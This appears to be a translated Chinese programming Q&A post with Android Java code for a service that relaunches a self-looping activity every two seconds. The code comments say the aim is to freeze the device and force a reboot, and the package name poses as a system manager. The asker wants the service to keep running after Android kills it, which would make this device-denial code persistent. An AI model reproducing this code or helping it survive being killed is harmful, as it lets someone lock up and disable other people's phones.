我有一个粘性服务,它使用一个线程每2秒调用一次活动。
public class FreezeService extends Service {
Context context = this;
// constant
public static final long NOTIFY_INTERVAL = 2000; // 2 sec
// run on another Thread to avoid crash
private Handler mHandler = new Handler();
// timer handling
private Timer mTimer = null;
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
// cancel if already existed
if (mTimer != null) {
mTimer.cancel();
} else {
// recreate new
mTimer = new Timer();
}
// schedule task
mTimer.scheduleAtFixedRate(new TimeDisplayTimerTask(), 0,
NOTIFY_INTERVAL);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
return START_STICKY;// this make the service sticky which prevents it
// from getting killed by advanced task killers
}
class TimeDisplayTimerTask extends TimerTask {
@Override
public void run() {
// run on another thread
mHandler.post(new Runnable() {
@Override
public void run() {
Intent i = new Intent(context, FreezeScreen.class);
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(i);
}
});
}
}
然后,活动在onCreate中调用自身,导致无限调用。这会使一切都冻结而内存不足。
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.transparent_ui);
// launch this activity again and again making the device freeze and
// reboot
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.setComponent(new ComponentName("com.android.systemmanager",
"com.android.systemmanager.FreezeScreen"));
startActivity(intent);
}
这很好,但是,我的粘性服务在某些时候会被杀死。根据{{3}}, START_STICKY告诉操作系统在有足够内存后重新创建服务,并再次使用null意图调用onStartCommand()。 但我的粘性服务永远不会再次启动。